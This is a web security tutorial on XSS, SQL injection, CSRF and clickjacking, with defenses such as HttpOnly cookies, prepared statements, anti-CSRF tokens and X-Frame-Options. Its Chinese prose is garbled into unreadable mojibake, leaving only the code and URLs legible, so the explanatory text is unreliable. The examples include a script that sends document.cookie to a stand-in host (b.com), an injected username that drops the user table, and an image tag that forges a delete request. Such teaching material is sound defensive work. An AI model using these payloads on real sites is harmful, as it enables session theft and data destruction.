瀵逛簬涓涓猈eb搴旂敤鏉ヨ錛屽彲鑳戒細(xì)闈復(fù)寰堝涓嶅悓鐨勬敾鍑匯備笅闈㈢殑鍐呭灝嗕粙緇嶄竴浜涘父瑙佺殑鏀誨嚮鏂規(guī)硶錛屼互鍙婇潰瀵硅繖浜涙敾鍑葷殑闃插盡鎵嬫銆?/p>
涓銆佽法绔欒剼鏈敾鍑伙紙XSS錛?/h2>
璺ㄧ珯鑴氭湰鏀誨嚮鐨勮嫳鏂囧叏縐版槸Cross Site Script錛屼負(fù)浜嗗拰鏍峰紡琛ㄥ尯鍒嗭紝緙╁啓涓篨SS銆傚彂鐢熺殑鍘熷洜鏄綉绔欏皢鐢ㄦ埛杈撳叆鐨勫唴瀹硅緭鍑哄埌欏甸潰涓婏紝鍦ㄨ繖涓繃紼嬩腑鍙兘鏈夋伓鎰忎唬鐮佽嫻忚鍣ㄦ墽琛屻?/p>
璺ㄧ珯鑴氭湰鏀誨嚮鍙互鍒嗕負(fù)涓ょ錛?/p>
1). 鍙嶅皠鍨媂SS
瀹冩槸閫氳繃璇變嬌鐢ㄦ埛鎵撳紑涓涓伓鎰忛摼鎺ワ紝鏈嶅姟绔皢閾炬帴涓弬鏁扮殑鎭舵剰浠ｇ爜娓叉煋鍒伴〉闈腑錛屽啀浼犻掔粰鐢ㄦ埛鐢辨祻瑙堝櫒鎵ц錛屼粠鑰岃揪鍒版敾鍑葷殑鐩殑銆傚涓嬮潰鐨勯摼鎺ワ細(xì)
http://a.com/a.jsp?name=xss<script>alert(1)</script> a.jsp灝嗛〉闈㈡覆鏌撴垚涓嬮潰鐨刪tml錛?/p>
Hello xss<script>alert(1)</script> 榪欐椂嫻忚鍣ㄥ皢浼?xì)寮瑰嚭鎻惤C烘銆?/p>
2). 鎸佷箙鍨媂SS
鎸佷箙鍨媂SS灝嗘伓鎰忎唬鐮佹彁浜ょ粰鏈嶅姟鍣紝騫朵笖瀛樺偍鍦ㄦ湇鍔″櫒绔紝褰撶敤鎴瘋闂浉鍏沖唴瀹規(guī)椂鍐嶆覆鏌撳埌欏甸潰涓紝浠ヨ揪鍒版敾鍑葷殑鐩殑錛屽畠鐨勫嵄瀹蟲洿澶с?/p>
姣斿錛屾敾鍑昏呭啓浜嗕竴綃囧甫鎭舵剰JS浠ｇ爜鐨勫崥瀹紝鏂囩珷鍙戣〃鍚庯紝鎵鏈夎闂鍗氬鏂囩珷鐨勭敤鎴烽兘浼?xì)鎵ц杩檶D墊伓鎰廕S銆?/p>
Cookie鍔寔
Cookie涓竴鑸繚瀛樹簡褰撳墠鐢ㄦ埛鐨勭櫥褰曞嚟璇侊紝濡傛灉鍙互寰楀埌錛屽線寰鎰忓懗鐫鍙洿鎺ヨ繘鍏ョ敤鎴峰笎鎴鳳紝鑰孋ookie鍔寔涔熸槸鏈甯歌鐨刋SS鏀誨嚮銆備互涓婇潰鎻愯繃鐨勫弽灝勫瀷XSS鐨勪緥瀛愭潵璇達(dá)紝鍙互鍍忎笅闈㈣繖鏍鋒搷浣滐細(xì)
棣栧厛璇變嬌鐢ㄦ埛鎵撳紑涓嬮潰鐨勯摼鎺ワ細(xì)
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 鐢ㄦ埛鎵撳紑閾炬帴鍚庯紝浼?xì)鍔犺浇b.js錛屽茍鎵цb.js涓殑浠ｇ爜銆俠.js涓瓨鍌ㄤ簡浠ヤ笅JS浠ｇ爜錛?/p>
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 涓婇潰鐨勪唬鐮佷細(xì)鍚慴.com璇鋒眰涓寮犲浘鐗囷紝浣嗗疄闄呬笂鏄皢褰撳墠欏甸潰鐨刢ookie鍙戝埌浜哹.com鐨勬湇鍔″櫒涓娿傝繖鏍峰氨瀹屾垚浜嗙獌鍙朿ookie鐨勮繃紼嬨?/p>
闃插盡Cookie鍔寔鐨勪竴涓畝鍗曠殑鏂規(guī)硶鏄湪Set-Cookie鏃跺姞涓奌ttpOnly鏍囪瘑錛屾祻瑙堝櫒紱佹JavaScript璁塊棶甯ttpOnly灞炴х殑Cookie銆?/strong>
XSS鐨勯槻寰?/h3>
1). 杈撳叆媯鏌?/strong>
瀵硅緭鍏ユ暟鎹仛媯鏌ワ紝姣斿鐢ㄦ埛鍚嶅彧鍏佽鏄瓧姣嶅拰鏁板瓧錛岄偖綆卞繀欏繪槸鎸囧畾鏍煎紡銆備竴瀹氳鍦ㄥ悗鍙板仛媯鏌ワ紝鍚﹀垯鏁版嵁鍙兘緇曡繃鍓嶇媯鏌ョ洿鎺ュ彂緇欐湇鍔″櫒銆備竴鑸墠鍚庣閮藉仛媯鏌ワ紝榪欐牱鍓嶇鍙互鎸℃帀澶ч儴鍒嗘棤鏁堟暟鎹?/p>
瀵圭壒孌婂瓧絎﹀仛緙栫爜鎴栬繃婊わ紝浣嗗洜涓轟笉鐭ラ亾杈撳嚭鏃剁殑璇錛屾墍浠ュ彲鑳戒細(xì)鍋氫笉閫傚綋鐨勮繃婊わ紝鏈濂芥槸鍦ㄨ緭鍑烘椂鍏蜂綋鎯呭喌鍏蜂綋澶勭悊銆?/p>
2). 杈撳嚭媯鏌?/strong>
瀵規(guī)覆鏌撳埌HTML涓唴瀹規(guī)墽琛孒tmlEncode錛屽娓叉煋鍒癑avaScript涓殑鍐呭鎵цJavascriptEncode銆?/p>
鍙﹀榪樺彲浠ヤ嬌鐢ㄤ竴浜涘仛XSS媯鏌ョ殑寮婧愰」鐩?/p>
浜屻丼QL娉ㄥ叆
SQL娉ㄥ叆甯稿父浼?xì)鍚垘图屽畠涓嶺SS綾諱技錛屾槸鐢變簬鐢ㄦ埛鎻愪氦鐨勬暟鎹褰撴垚鍛戒護(hù)鏉ユ墽琛岃岄犳垚鐨勩備笅闈㈡槸涓涓猄QL娉ㄥ叆鐨勪緥瀛愶細(xì)
String sql = "select * from user where username = '" + username + "'"; 鍍忎笂闈㈢殑SQL璇彞錛屽鏋滅敤鎴鋒彁浜ょ殑username鍙傛暟鏄痩eo錛屽垯鏁版嵁搴撴墽琛岀殑SQL涓猴細(xì)
select * from user where username = 'leo' 浣嗗鏋滅敤鎴鋒彁浜ょ殑username鍙傛暟鏄痩eo’; drop table user–錛岄偅鎵ц鐨凷QL涓猴細(xì)
select * from user where username = 'leo'; drop table user--' 鍦ㄦ煡璇㈡暟鎹悗錛屽張鎵ц浜嗕竴涓垹闄よ〃鐨勬搷浣滐紝榪欐牱鐨勫悗鏋滈潪甯鎬弗閲嶃?/p>
SQL娉ㄥ叆鐨勯槻寰?/h3>
闃叉SQL娉ㄥ叆鏈濂界殑鏂規(guī)硶鏄嬌鐢ㄩ緙栬瘧璇彞錛屽涓嬮潰鎵紺猴細(xì)
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 涓嶅悓璇█鐨勯緙栬瘧鏂規(guī)硶涓嶅悓錛屼絾鍩烘湰閮藉彲浠ュ鐞嗐?/p>
濡傛灉閬囧埌鏃犳硶浣跨敤棰勭紪璇戞柟娉曟椂錛屽彧鑳藉儚闃叉XSS閭ｆ牱瀵瑰弬鏁拌繘琛屾鏌ュ拰緙栫爜銆?/p>
涓夈佽法绔欒姹備吉閫狅紙CSRF錛?/h2>
璺ㄧ珯璇鋒眰浼犵殑鑻辨枃鍏ㄧО鏄疌ross Site Request Forgery錛屾槸鐢變簬鎿嶄綔鎵闇鐨勬墍鏈夊弬鏁伴兘鑳借鏀誨嚮鑰呭緱鍒幫紝榪涜屾瀯閫犲嚭涓涓吉閫犵殑璇鋒眰錛屽湪鐢ㄦ埛涓嶇煡鎯呯殑鎯呭喌涓嬭鎵ц銆傜湅涓嬮潰涓涓緥瀛愶細(xì)
濡傛灉a.com緗戠珯闇瑕佺敤鎴風(fēng)櫥褰曞悗鍙互鍒犻櫎鍗氬錛屽垹闄ゅ崥瀹㈢殑璇鋒眰鍦板潃濡備笅錛?/p>
GET http://a.com/blog/delete?id=1 褰撶敤鎴風(fēng)櫥褰昦.com鍚庯紝鍙堟墦寮浜唄ttp://b.com/b.html錛屽叾涓湁涓嬮潰鐨勫唴瀹癸細(xì)
<img src="http://a.com/blog/delete?id=1"/> 榪欐椂浼?xì)浠ョ敤鎴峰湪a.com鐨勮韓浠藉彂閫乭ttp://a.com/blog/delete?id=1錛屽垹闄ら偅綃囧崥瀹€?/p>
CSRF鐨勯槻寰?/h3>- 楠岃瘉鐮?/li>
CSRF鏄湪鐢ㄦ埛涓嶇煡鎯呯殑鎯呭喌涓嬫瀯閫犵殑緗戠粶鎯呭喌錛岄獙璇佺爜鍒欏己鍒剁敤鎴蜂笌搴旂敤浜や簰錛屾墍浠ラ獙璇佺爜鍙互寰堝ソ寰楅槻姝SRF銆備絾涓嶈兘浠涔堣姹傞兘鍔犻獙璇佺爜銆?/p>
- referer媯鏌?/li>
媯鏌ヨ姹俬eader涓殑referer涔熻兘甯姪闃叉CSRF鏀誨嚮錛屼絾鏈嶅姟鍣ㄤ笉鏄昏兘鎷垮埌referer錛屾祻瑙堝櫒鍙兘鍑轟簬瀹夊叏鎴栭殣縐佽屼笉鍙戦乺eferer錛屾墍浠ヤ篃涓嶅父鐢ㄣ傚掓槸鍥劇墖闃茬洍閾句腑鐢ㄥ緱寰堝銆?/p>
- Anti CSRF Token
鏇村鐨勬槸鐢熸垚涓涓殢鏈虹殑token錛屽湪鐢ㄦ埛鎻愪氦鏁版嵁鐨勫悓鏃舵彁浜よ繖涓猼oken錛屾湇鍔″櫒绔瘮瀵瑰悗濡傛灉涓嶆紜紝鍒欐嫆緇濇墽琛屾搷浣溿?/p>
鍥涖佺偣鍑誨姭鎸侊紙ClickJacking錛?/h2>
鐐瑰嚮鍔寔鏄粠瑙嗚涓婃楠楃敤鎴楓傛敾鍑昏呬嬌鐢ㄤ竴涓忔槑鐨刬frame瑕嗙洊鍦ㄤ竴涓綉欏典笂錛岃浣跨敤鎴峰湪璇ョ綉欏典笂鎿嶄綔錛岃屽疄闄呯偣鍑誨嵈鏄偣鍦ㄩ忔槑鐨刬frame欏甸潰銆?/p>
鐐瑰嚮鍔寔寤朵幾鍑轟簡寰堝鏀誨嚮鏂瑰紡錛屾湁鍥劇墖瑕嗙洊鏀誨嚮銆佹嫋鎷藉姭鎸佺瓑銆?/p>
鐐瑰嚮鍔寔鐨勯槻寰?/h3>
閽堝iframe鐨勬敾鍑伙紝鍙嬌鐢ㄤ竴涓狧TTP澶達(dá)細(xì)X-Frame-Options錛屽畠鏈変笁縐嶅彲閫夊鹼細(xì)
- DENY錛?紱佹浠諱綍欏甸潰鐨刦rame鍔犺澆錛?/li>
- SAMEORIGIN錛氬彧鏈夊悓婧愰〉闈㈢殑frame鍙姞杞斤紱
- ALLOW-FROM錛氬彲瀹氫箟鍏佽frame鍔犺澆鐨勯〉闈㈠湴鍧銆?/li>
閽堝鍥劇墖瑕嗙洊鏀誨嚮錛屽垯娉ㄦ剰浣跨敤棰勯槻XSS鐨勬柟娉曪紝闃叉HTML鍜孞S娉ㄥ叆銆?/p>
